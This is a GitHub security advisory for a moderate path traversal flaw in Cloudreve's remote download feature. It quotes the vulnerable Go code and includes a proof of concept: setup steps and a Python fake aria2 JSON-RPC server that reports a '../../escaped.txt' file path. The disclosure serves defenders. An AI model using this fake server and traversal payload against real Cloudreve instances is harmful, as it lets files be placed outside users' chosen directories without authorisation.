Skip to content

Cloudreve's remote download file paths can escape the selected destination directory

Moderate severity GitHub Reviewed Published Jun 13, 2026 in cloudreve/cloudreve • Updated Aug 24, 2026

Package

gomod github.com/cloudreve/Cloudreve/v4 (Go)

Affected versions

<= 4.0.0-20260606032813-26b6b1044b02

Patched versions

None

Description

Summary

Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.

Details

In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.

// pkg/filemanager/workflows/remote_download.go:436-438
sanitizedName := sanitizeFileName(file.Name)
dst := dstUri.JoinRaw(sanitizedName)
src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))

The same issue also exists when constructing slave upload payloads.

// pkg/filemanager/workflows/remote_download.go:323-327
dst := dstUri.JoinRaw(sanitizeFileName(f.Name))
src := path.Join(m.state.Status.SavePath, f.Name)
payload.Files = append(payload.Files, SlaveUploadEntity{
	Src:   src,
	Uri:   dst,

The sanitizer does not remove /, ., or .. path segments.

// pkg/filemanager/workflows/remote_download.go:648-650
func sanitizeFileName(name string) string {
	r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_")
	return r.Replace(name)
}

JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.

// pkg/filemanager/fs/uri.go:173-175
func (u *URI) JoinRaw(elem string) *URI {
	return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}

For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.

// pkg/downloader/aria2/aria2.go:148-159
relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)
if len(relPath) > 0 {
	relPath = relPath[1:]
}
return downloader.TaskFile{
	Index:    index,
	Name:     relPath,

Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt

The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.

PoC

The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.

Setup:

Cloudreve official Docker image
PostgreSQL
Redis
Fake aria2 JSON-RPC service

Configure the master node in the Cloudreve admin UI:

Remote download capability: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: empty

Create this folder structure in the file manager:

My files /
  victim /
    safe /

Create a remote download task using any URL in the victim/safe directory, for example:

http://attacker.invalid/file

The fake aria2 service returns:

files[0].path = <saveDir>/../../escaped.txt

Expected result after the remote download task completes:

cloudreve://my/escaped.txt exists

This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.

Impact

If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.

This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.

Appendix: fake_aria2.py

import json
import os
from http.server import BaseHTTPRequestHandler, HTTPServer

GID = "0123456789abcdef"
CONTENT = b"created outside the selected Cloudreve destination\n"
save_dir = "/cloudreve/data/temp/aria2/poc-final"


def write_source_file():
    source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt"))
    os.makedirs(os.path.dirname(source), exist_ok=True)
    with open(source, "wb") as f:
        f.write(CONTENT)
    print(f"fake aria2 source file: {source}", flush=True)


def response(rpc_id, result):
    return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode()


class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        global save_dir

        raw = self.rfile.read(int(self.headers.get("Content-Length", "0")))
        req = json.loads(raw or b"{}")
        method = req.get("method")
        rpc_id = req.get("id")

        if method == "aria2.addUri":
            for item in req.get("params", []):
                if isinstance(item, dict) and item.get("dir"):
                    save_dir = item["dir"]
                    break
            write_source_file()
            result = GID
        elif method == "aria2.tellStatus":
            result = {
                "gid": GID,
                "status": "complete",
                "totalLength": str(len(CONTENT)),
                "completedLength": str(len(CONTENT)),
                "uploadLength": "0",
                "downloadSpeed": "0",
                "uploadSpeed": "0",
                "infoHash": "",
                "numPieces": "1",
                "dir": save_dir,
                "files": [
                    {
                        "index": "1",
                        "path": f"{save_dir}/../../escaped.txt",
                        "length": str(len(CONTENT)),
                        "completedLength": str(len(CONTENT)),
                        "selected": "true",
                        "uris": [],
                    }
                ],
                "bittorrent": {"mode": "single", "info": {"name": "poc-final"}},
            }
        elif method == "aria2.getVersion":
            result = {"version": "fake-poc-final", "enabledFeatures": []}
        else:
            result = "OK"

        body = response(rpc_id, result)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        return


if __name__ == "__main__":
    print("fake aria2 JSON-RPC listening on :6800", flush=True)
    HTTPServer(("0.0.0.0", 6800), Handler).serve_forever()

References

@HFO4 HFO4 published to cloudreve/cloudreve Jun 13, 2026
Published to the GitHub Advisory Database Aug 24, 2026
Reviewed Aug 24, 2026
Last updated Aug 24, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Relative Path Traversal

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as .. that can resolve to a location that is outside of that directory. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-w8j7-39hp-8x59

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.